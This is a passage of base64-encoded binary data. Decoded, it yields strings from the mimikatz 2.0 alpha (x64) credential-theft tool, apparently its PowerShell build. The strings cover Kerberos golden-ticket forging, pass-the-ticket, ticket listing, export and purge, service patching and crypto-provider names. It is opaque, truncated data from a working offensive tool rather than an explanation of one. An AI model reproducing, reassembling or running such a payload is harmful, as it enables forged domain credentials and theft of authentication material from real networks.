AASO8BgAEAAAAw7wGAAQAAABjvAYABAAAAHFgAgAEAAADw2gGAAQAAAMDaAYABAAAA6FsAgAEAAACw2gGAAQAAAJDaAYABAAAA+FkAgAEAAACI2gGAAQAAAFjaAYABAAAAQFkAgAEAAABI2gGAAQAAACjaAYABAAAAZF8AgAEAAAAY2gGAAQAAAPDZAYABAAAAMNsBgAEAAAAA2wGAAQAAAPjaAYABAAAABQAAAAAAAABAzAGAAQAAAIhXAIABAAAAzFcAgAEAAADercDeDuCwC8D/7lC6rfANXAAvADoAKgA/ACIAPAA+AHwAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQByAG4AZQBsAF8AaQBvAGMAdABsACAAOwAgAEQAZQB2AGkAYwBlAEkAbwBDAG8AbgB0AHIAbwBsACAAKAAwAHgAJQAwADgAeAApACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAXABcAC4AXABtAGkAbQBpAGQAcgB2AAAAYQAAAAAAAAAiACUAcwAiACAAcwBlAHIAdgBpAGMAZQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAUwBlAHIAdgBpAGMAZQAgAGkAcwAgAG4AbwB0ACAAcgB1AG4AbgBpAG4AZwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAEkAbgBjAG8AcgByAGUAYwB0ACAAdgBlAHIAcwBpAG8AbgAgAGkAbgAgAHIAZQBmAGUAcgBlAG4AYwBlAHMACgAAAAAAUQBXAE8AUgBEAAAAAAAAAFIARQBTAE8AVQBSAEMARQBfAFIARQBRAFUASQBSAEUATQBFAE4AVABTAF8ATABJAFMAVAAAAAAARgBVAEwATABfAFIARQBTAE8AVQBSAEMARQBfAEQARQBTAEMAUgBJAFAAVABPAFIAAAAAAAAAAABSAEUAUwBPAFUAUgBDAEUAXwBMAEkAUwBUAAAAAAAAAE0AVQBMAFQASQBfAFMAWgAAAAAAAAAAAEwASQBOAEsAAAAAAAAAAABEAFcATwBSAEQAXwBCAEkARwBfAEUATgBEAEkAQQBOAAAAAAAAAAAARABXAE8AUgBEAAAAAAAAAEIASQBOAEEAUgBZAAAAAABFAFgAUABBAE4ARABfAFMAWgAAAFMAWgAAAAAAAAAAAE4ATwBOAEUAAAAAAAAAAABTAGUAcgB2AGkAYwBlAHMAQQBjAHQAaQB2AGUAAAAAAFwAeAAlADAAMgB4AAAAAAAwAHgAJQAwADIAeAAsACAAAAAAAAAAAAAlADAAMgB4ACAAAAAAAAAAJQAwADIAeAAAAAAACgAAACUAcwAgAAAAJQBzAAAAAAAlAHcAWgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBkAGkAcwBwAGwAYQB5AFMASQBEACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABUAG8AawBlAG4AAAAAAAAAAAAAAAAAAAAKACAAIAAuACMAIwAjACMAIwAuACAAIAAgAG0AaQBtAGkAawBhAHQAegAgADIALgAwACAAYQBsAHAAaABhACAAKAB4ADYANAApACAAcgBlAGwAZQBhAHMAZQAgACIASwBpAHcAaQAgAGUAbgAgAEMAIgAgACgATQBhAHkAIAAyADAAIAAyADAAMQA0ACAAMAA4ADoANQA2ADoANAA4ACkACgAgAC4AIwAjACAAXgAgACMAIwAuACAAIAAKACAAIwAjACAALwAgAFwAIAAjACMAIAAgAC8AKgAgACoAIAAqAAoAIAAjACMAIABcACAALwAgACMAIwAgACAAIABCAGUAbgBqAGEAbQBpAG4AIABEAEUATABQAFkAIABgAGcAZQBuAHQAaQBsAGsAaQB3AGkAYAAgACgAIABiAGUAbgBqAGEAbQBpAG4AQABnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0AIAApAAoAIAAnACMAIwAgAHYAIAAjACMAJwAgACAAIABoAHQAdABwADoALwAvAGIAbABvAGcALgBnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0ALwBtAGkAbQBpAGsAYQB0AHoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAG8AZQAuAGUAbwApAAoAIAAgACcAIwAjACMAIwAjACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBpAHQAaAAgACUAMwB1ACAAbQBvAGQAdQBsAGUAcwAgACoAIAAqACAAKgAvAAoACgAAAAAAAAAKAG0AaQBtAGkAawBhAHQAegAoAHAAbwB3AGUAcgBzAGgAZQBsAGwAKQAgACMAIAAlAHMACgAAAEkATgBJAFQAAAAAAAAAAABDAEwARQBBAE4AAAAAAAAAPgA+AD4AIAAlAHMAIABvAGYAIAAnACUAcwAnACAAbQBvAGQAdQBsAGUAIABmAGEAaQBsAGUAZAAgADoAIAAlADAAOAB4AAoAAAAAADoAOgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwAbwBjAGEAbAAgADsAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAAAAAAKACUAMQA2AHMAAAAAAAAAIAAgAC0AIAAgACUAcwAAACAAIABbACUAcwBdAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAGMAbwBtAG0AYQBuAGQAIABvAGYAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAAAAAAKAE0AbwBkAHUAbABlACAAOgAJACUAcwAAAAAAAAAAAAoARgB1AGwAbAAgAG4AYQBtAGUAIAA6AAkAJQBzAAAACgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6AAkAJQBzAAAAAAAAAEtlcmJlcm9zAAAAAAAAAAB1AHMAZQByAAAAAAAAAAAAVwBpAGwAbAB5ACAAVwBvAG4AawBhACAAZgBhAGMAdABvAHIAeQAAAGcAbwBsAGQAZQBuAAAAAABQAHUAcgBnAGUAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAHAAdQByAGcAZQAAAAAAAABSAGUAdAByAGkAZQB2AGUAIABjAHUAcgByAGUAbgB0ACAAVABHAFQAAAAAAAAAAAB0AGcAdAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAAAAbABpAHMAdAAAAAAAAAAAAFAAYQBzAHMALQB0AGgAZQAtAHQAaQBjAGsAZQB0ACAAWwBOAFQAIAA2AF0AAAAAAHAAdAB0AAAAAAAAAAAAAABLAGUAcgBiAGUAcgBvAHMAIABwAGEAYwBrAGEAZwBlACAAbQBvAGQAdQBsAGUAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAAAAAAAAAAAAAFQAaQBjAGsAZQB0ACAAJwAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0ACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdABpAGMAawBlAHQAIABmAGkAbABlAG4AYQBtAGUACgAAAFQAaQBjAGsAZQB0ACgAcwApACAAcAB1AHIAZwBlACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgAGkAcwAgAE8ASwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAASwBlAGIAZQByAG8AcwAgAFQARwBUACAAbwBmACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIAA6ACAAAAAAAAAAAAAAAAAAAAAKACgATgBVAEwATAAgAHMAZQBzAHMAaQBvAG4AIABrAGUAeQAgAG0AZQBhAG4AcwAgAGEAbABsAG8AdwB0AGcAdABzAGUAcwBzAGkAbwBuAGsAZQB5ACAAaQBzACAAbgBvAHQAIABzAGUAdAAgAHQAbwAgADEAKQAKAAAAAAAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABlAHgAcABvAHIAdAAAAAAACgBbACUAMAA4AHgAXQAgAC0AIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAACgAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAAAAAAAAAgADsAIAAAAAAAAAAAAAAACgAgACAAIABTAGUAcgB2AGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoAIABAACAAJQB3AFoAAAAAAAAAAAAAAAAAAAAKACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAKACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAAAABrAGkAcgBiAGkAAAAAAAAACgAgACAAIAAqACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4AawBpAHIAYgBpAAAAAAAAAAAAdABpAGMAawBlAHQAAAAAAGEAZABtAGkAbgAAAAAAAABkAG8AbQBhAGkAbgAAAAAAcwBpAGQAAABrAHIAYgB0AGcAdAAAAAAAaQBkAAAAAABnAHIAbwB1AHAAcwAAAAAAAAAAAAAAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgAgACAAIAAgADoAIAAlAHMACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgAAAAAAAAAAAEcAcgBvAHUAcABzACAASQBkACAAOgAgACoAAAAAAAAAJQB1ACAAAAAKAGsAcgBiAHQAZwB0ACAAIAAgACAAOgAgAAAAAAAAAC0APgAgAFQAaQBjAGsAZQB0ACAAOgAgACUAcwAKAAoAAAAAAAAAAAAKAEYAaQBuAGEAbAAgAFQAaQBjAGsAZQB0ACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAawByAGIAdABnAHQAIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAUwBJAEQAIABzAGUAZQBtAHMAIABpAG4AdgBhAGwAaQBkACAALQAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAGcAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAIAAqACAAUABBAEMAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAACAAKgAgAFAAQQBDACAAcwBpAGcAbgBlAGQACgAAAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZQBuAGMAcgB5AHAAdABlAGQACgAAACAAKgAgAEsAcgBiAEMAcgBlAGQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgBfAGQAYQB0AGEAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBlAG4AYwByAHkAcAB0ACAAJQAwADgAeAAKAAAAAAAAAHIAZQBzAGUAcgB2AGUAZAAAAAAAAAAAAGYAbwByAHcAYQByAGQAYQBiAGwAZQAAAGYAbwByAH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